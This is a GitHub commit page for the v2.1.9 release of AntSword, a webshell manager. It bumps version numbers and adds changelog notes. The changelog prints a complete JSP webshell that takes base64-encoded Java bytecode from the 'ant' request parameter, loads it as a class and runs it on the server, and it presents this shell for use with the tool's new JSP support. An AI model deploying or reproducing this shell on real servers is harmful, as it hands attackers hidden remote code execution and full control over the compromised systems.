Skip to content

Commit 1a30ec6

Browse files
committed
release v2.1.9
1 parent 5dfe74d commit 1a30ec6

5 files changed

Lines changed: 52 additions & 5 deletions

File tree

‎CHANGELOG.md‎

Lines changed: 48 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,44 @@
22
> 有空会补补BUG、添添新功能。
33
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
44
5-
## `v2.1.9-dev`
5+
## 2020/09/10 `v(2.1.9)`
6+
7+
### 核心
8+
9+
* 新增 JSP 类型一句话支持 (**试验功能**)
10+
11+
使用的 Shell 例如:
12+
13+
```
14+
<%!
15+
class U extends ClassLoader{
16+
U(ClassLoader c){
17+
super(c);
18+
}
19+
public Class g(byte []b){
20+
return super.defineClass(b,0,b.length);
21+
}
22+
}
23+
%>
24+
<%
25+
String cls=request.getParameter("ant");
26+
if(cls!=null){
27+
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext);
28+
}
29+
%>
30+
```
31+
32+
> JSP 类型目前采用硬编码字节码方式, 编译版本为 jdk 1.7, 可根据使用场景自行编译。
33+
34+
代码模版参见: https://github.com/AntSwordProject/AntSword-JSP-Template
35+
36+
**注意**
37+
38+
JSP 类型 Shell 修改文件权限功能,不支持 Windows 系统,在 Linux 系统下不支持 SUID 设置
39+
40+
> 例如设置为 2644 实际上与 0644 效果相同
41+
42+
* 新增其他参数增加随机前缀
643

744
### 后端模块
845

@@ -20,6 +57,16 @@
2057

2158
测试 paper 参见: [yzddmr6的 Blog —— 蚁剑改造计划之增加垃圾数据](https://yzddmr6.tk/posts/antsword-diy-1/)
2259

60+
### Security
61+
62+
* Fix ViewSite security issue #256
63+
64+
### 其它
65+
66+
* 插件支持的脚本类型支持通配符 `*`
67+
68+
> 如果插件的 package.json 文件中的 scripts 设置为 `*`, 则可被所有类型的插件调用。
69+
2370
## 2019/12/04 `v(2.1.8.1)`
2471

2572
* Fix ViewSite security issue thx @imagemlt

‎README.md‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# AntSword [![release](https://img.shields.io/badge/release-v2.1.8.1-blue.svg?style=flat-square)][url-release]
1+
# AntSword [![release](https://img.shields.io/badge/release-v2.1.9-blue.svg?style=flat-square)][url-release]
22

33
> AntSword in your hands, no worries in your mind!
44

‎README_CN.md‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.1.8.1-blue.svg?style=flat-square)][url-release]
1+
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.1.9-blue.svg?style=flat-square)][url-release]
22

33
> 一剑在手,纵横无忧!
44

‎package-lock.json‎

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎package.json‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "antsword",
3-
"version": "2.1.8.1",
3+
"version": "2.1.9",
44
"description": "中国蚁剑是一款跨平台的开源网站管理工具",
55
"main": "app.js",
66
"dependencies": {

0 commit comments

Comments
 (0)